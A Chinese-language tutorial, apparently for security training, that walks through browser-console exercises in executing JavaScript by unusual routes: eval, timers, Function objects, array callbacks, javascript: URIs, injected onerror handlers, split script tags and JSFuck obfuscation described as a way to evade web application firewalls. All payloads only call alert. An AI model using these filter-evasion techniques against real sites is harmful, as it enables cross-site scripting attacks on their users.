自行安装谷歌浏览器按下F12打开控制台在console进行调试
1
通过在控制台中输入JavaScript语句重定向页面
在控制台中输入 location.href="about:blank"; 并按下回车,观察地址栏的变化
2
通过alert函数输出hello world
在控制台中输入alert("hello world"); 并按下回车
3
使用``调用函数
在不能使用括号的地方,也可以使用``来调用函数。在控制台输入alert`Hello world`; 并按下回车。
4
使用eval()调用函数:eval可以把字符串当作函数正文来执行
传给eval的字符串会被当作函数执行,执行下列代码:eval("alert(1+2)")
5
使用时间类函数执行代码,setInterval、setTimeout的执行方式与eval类似。
setTimeout/Interval和eval的方式类似,如果eval被禁止了,也可以试试这两个。试着执行setTimeout("alert(666)", 0); 或者i=0; setInterval("(i++==0) && alert(666)", 1000);
6
创建一个匿名function并执行代码:通过(function(){})()可以执行脚本
尝试执行:(function(a){alert(a)})(123)
7
创建Function对象并执行代码
你可以创建一个Function对象并执行代码,它和function()等价,类似eval。尝试执行:q=new Function("alert(5)"); q();
8
通过apply执行代码:apply可以将参数传递给被调用函数
通过apply可以指定this和参数,因为alert是window对象的函数,请尝试:alert.apply(window, [2])
9
通过call执行函数:call与apply类似,也可以用于函数执行
call和apply的用法类似,也可以执行函数。浏览器窗口的this也可以使用globalThis来代替。尝试以下内容:alert.call(globalThis, [1024])
10
通过对象成员执行函数:如果成员是函数类型,也可以直接调用它们。
通过对象成员执行函数。alert是window(也是globalThis)的成员,因此下列方式均可以执行:window.alert(7); 或者 globalThis["alert"](7)
11
通过top执行函数:top指顶层窗口,非框架下,和this,window,globalThis是等价的。
尝试执行:top.alert(666)
12
window也是window的子对象,该对象指向自身
只要对象等价,你可以通过window,this,top,contentWindow,globalThis等构造任意长度的链条,尝试:this.window.window.globalThis.window.window.alert("very long!");
13
页面支持很多onXX事件,它们都可以用来执行代码
首先,输入 function p(){alert(777)}; 然后,输入document.write("<img src=x οnerrοr=p()>")
14
anchor(锚)元素的href可以用来执行脚本
执行document.write("<a href='javascript:alert(/121/)' id='foo'>bar</a>");尝试点击超链接,或者执行foo.click();
15
通过页面重定向执行代码:当页面重定向到js伪协议(javascript:开头的URI)时,代码会被执行
尝试执行:location.href="javascript:alert(9)" <p>或者执行location="javascript:alert(9)"</p>
16
通过window.open执行代码:同样,window.open,以及任何可以在新窗口打开URL的操作,都可以用来执行代码
尝试执行:window.open("javascript:alert(111);", "_self");或者, document.write("<form method='get' action='javascript:alert(111)' target='_self'><input type=submit /></form>") 并点击提交
17
通过Array.prototype.filter回调执行代码
请尝试执行:[alert].filter(function(y){y(3)}) 数组中的每个对象都会传递给filter中的回调函数,此例将alert传入了给它。
18
通过every、find执行代码的
尝试执行: [alert].every(function(e){e(1)}) 尝试执行:[alert].find(function(e){e(1)})
19
通过findIndex、flatMap执行代码
尝试执行: [alert].findIndex(function(e){e(4)}) 尝试执行:[alert].flatMap(function(e){e(4)})
20
其他函数
forEach、map、reduce、reduceRight、some、sort、splice等都可以达到同样效果
21
通过混淆引擎,混淆JS以规避waf
通过JSFuck来混淆代码
22
<!-- --> HTML注释符号中的代码也可以执行
执行下列代码:document.write("<scr"+"ipt><!--\nalert(111)\n--></scri"+"pt>")
需要注意,<!-- 之后和 --> 之前需要换行。
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
构建花式执行代码的一般思路
以上是一些通用的思路,不知道你是否已经发现了,我们在做的实际上就只有两件事情:
1. 创建Function对象(函数也是Function对象、元素的回调也是将字符串转为Function对象)
2. 让字符串尽可能的复杂
要在浏览器中创建函数对象,通常可以:
1. 直接指定一个函数,例如function f(){ },当你执行p = f; typeof p;时就可以发现,它是一个function对象的类型。
2. 通过Eval或其他类似的方式将字符串转为JavaScript代码,此时等同于动态创建了一个函数体。
3. 通过new Function()方式创建一个函数,通过这个创建的函数的本体可以通过字符串混淆的方式隐藏起来。
4. 通过各种元素的事件回调等操作。
5. 通过跳转到Javascript URI。
6. 通过调用浏览器一些预留接口(与浏览器有关)。
等等。
2. 构建字符串的不同方法
一般思路
我们已经知道了哪些方法创建一个函数,剩余的无非就是字符串的一些不同表示方案。
字符串通常可以由如下方式得到:
1. 通过""、''直接使用。
2. 通过String.fromCharCode()等方式得到。
3. 通过``方式(ES6)。
4. 通过获取字符串类型的返回值。比如执行 typeof 1就会返回字符串number。
5. 通过字符串强转,比如(typeof 1) + 3就会返回number3,因为前者是字符串,后面的数字会被强转为字符串3。
等等。
这里做的最极端的便属JSFuck,如果对构建任何字符串感兴趣,可以参考它。 或者还有一个思路,比如想获得字符n,也可以执行(typeof 1)[0]。想获得字母a,可以使用alert.name[0],总之花样很多,无非就是基于一个字符串类型去做操作罢了。